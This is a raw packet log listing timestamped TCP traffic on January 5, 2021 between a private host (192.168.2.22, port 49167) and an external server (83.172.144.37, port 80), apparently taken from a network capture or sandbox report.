Jan 5, 2021 19:05:22.923213005 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:22.923227072 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.923239946 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:22.923259974 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.923297882 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.923324108 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.923345089 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:22.923362017 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.923386097 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.923407078 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:22.923424006 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.923446894 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.923491001 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:22.923492908 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.923686981 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:22.925048113 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.925106049 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.925136089 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.925170898 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.925195932 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.925215006 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:22.925232887 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.925257921 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.925268888 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:22.925297022 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.925321102 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:22.925323009 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.925369024 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.925404072 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:22.925431967 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.925477028 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.925497055 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:22.925517082 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.925563097 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.925595045 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.925631046 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.925640106 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:22.925657034 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.925693035 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.925717115 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.925717115 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:22.925754070 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.925776958 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.925820112 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:22.925822973 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.925853968 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.925890923 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.925915003 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.925928116 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:22.925951958 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.925976038 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.925976992 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:22.926012993 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.926037073 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.926081896 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.926084995 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:22.926112890 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.926148891 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.926173925 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:22.926177025 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.926213980 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.926238060 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.926270008 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:22.926273108 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.926299095 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.926343918 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.926362991 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:22.926377058 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.926413059 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.926439047 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.926454067 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:22.926477909 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.926501036 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.926537037 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.926553965 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:22.926563025 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.926609993 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.926629066 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:22.926641941 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.926677942 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.926702976 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.926737070 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:22.926738977 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.926764011 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.926800013 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.926821947 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:22.926825047 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.926871061 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.926899910 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.926934958 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:22.926935911 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.926963091 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.927000046 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.927022934 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.927041054 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:22.927061081 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.927083015 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:22.927087069 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.927134037 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.927150011 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:22.927164078 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.927200079 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.927223921 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:22.927226067 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.927263021 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.927284956 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.927299023 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:22.927321911 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.927347898 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:22.927347898 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.927395105 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.927423954 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.927459002 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.927459955 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:22.927484989 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.927520990 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:22.927520990 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.927546978 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.927582979 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.927608013 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.927622080 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:22.927654028 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.927663088 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:22.927685022 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.927720070 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.927752972 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.927788019 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:22.978729010 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.978775024 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.978811979 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.978847027 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.978888035 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.978916883 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.978929996 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:22.978945971 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.978955984 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:22.978964090 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:22.978975058 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.978986025 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:22.979016066 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:22.979023933 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.979026079 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:22.979046106 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:22.979057074 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.979063988 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:22.979094028 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.979105949 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:22.979123116 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.979137897 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:22.979161024 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.979166031 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:22.979185104 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.979212999 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:22.979224920 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.979227066 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:22.979249954 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.979265928 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:22.979293108 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:22.979298115 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.979330063 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.979346991 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:22.979367018 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:22.979367971 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.979394913 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.979410887 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:22.979432106 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:22.979433060 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.979459047 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.979479074 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:22.979496956 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:22.979497910 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.979523897 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.979540110 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:22.979564905 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:22.979572058 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.979592085 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:22.979607105 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.979643106 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.979655027 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:22.979670048 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.979685068 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:22.979707956 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.979726076 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:22.979732990 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.979748964 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:22.979773045 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.979779959 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:22.979799986 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.979821920 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:22.979835033 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:22.979846954 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.979866028 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:22.979880095 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.979902983 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:22.979917049 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.979943037 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.979960918 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:22.979979038 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:22.979979992 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.980005026 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.980030060 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:22.980043888 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.980043888 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:22.980070114 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.980087042 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:22.980103970 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:22.980118036 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.980138063 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:22.980149984 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.980166912 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:22.980187893 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.980207920 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:22.980214119 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.980251074 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.980267048 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:22.980274916 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.980307102 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:22.980313063 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.980319977 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:22.980341911 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.980359077 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:22.980376959 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:22.980391026 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.980422974 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.980429888 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:22.980460882 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.980465889 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:22.980487108 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.980515957 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.980534077 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.980562925 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:22.980572939 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.980593920 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:22.980602980 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.980602980 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:22.980648041 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:22.980671883 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.980676889 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:22.980685949 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:22.980696917 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.980705976 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:22.980741024 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:22.980743885 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.980762959 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:22.980775118 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.980799913 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:22.980811119 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.980827093 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:22.980835915 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.980869055 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:22.980873108 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.980884075 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:22.980896950 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.980915070 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:22.980935097 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.980942011 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:22.980958939 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.980995893 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:22.981004953 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.981020927 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:22.981035948 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.981065989 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:22.981071949 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.981097937 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.981112003 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:22.981134892 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.981136084 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:22.981158018 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.981170893 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:22.981194973 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.981198072 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:22.981219053 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.981231928 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:22.981257915 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:22.981266022 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.981281042 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:22.981296062 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.981313944 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:22.981332064 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.981348991 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:22.981358051 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.981399059 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:22.981422901 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:22.981436014 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.981477022 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.981506109 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:22.981513023 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.981524944 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:22.981538057 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.981556892 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:22.981575012 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.981590986 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:22.981600046 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.981637001 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.981642008 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:22.981661081 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.981681108 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:22.981695890 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:22.981708050 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.981729984 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:22.981736898 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.981765985 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:22.981772900 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.981798887 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.981800079 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:22.981834888 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.981841087 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:22.981858969 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.981867075 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:22.981894970 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.981897116 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:22.981930971 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.981947899 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.981955051 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:22.981971979 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.981973886 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:22.982007980 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.982012987 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:22.982033014 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.982045889 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:22.982054949 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:22.982064962 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:22.982069969 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.982101917 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:22.982105017 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.982126951 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:22.982145071 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.982158899 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:22.982170105 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.982203960 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:22.982207060 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.982232094 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.982233047 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:22.982261896 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:22.982266903 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.982291937 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.982296944 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:22.982317924 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:22.982327938 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.982346058 CET	49167	80	192.168.2.22	83.172.144.37
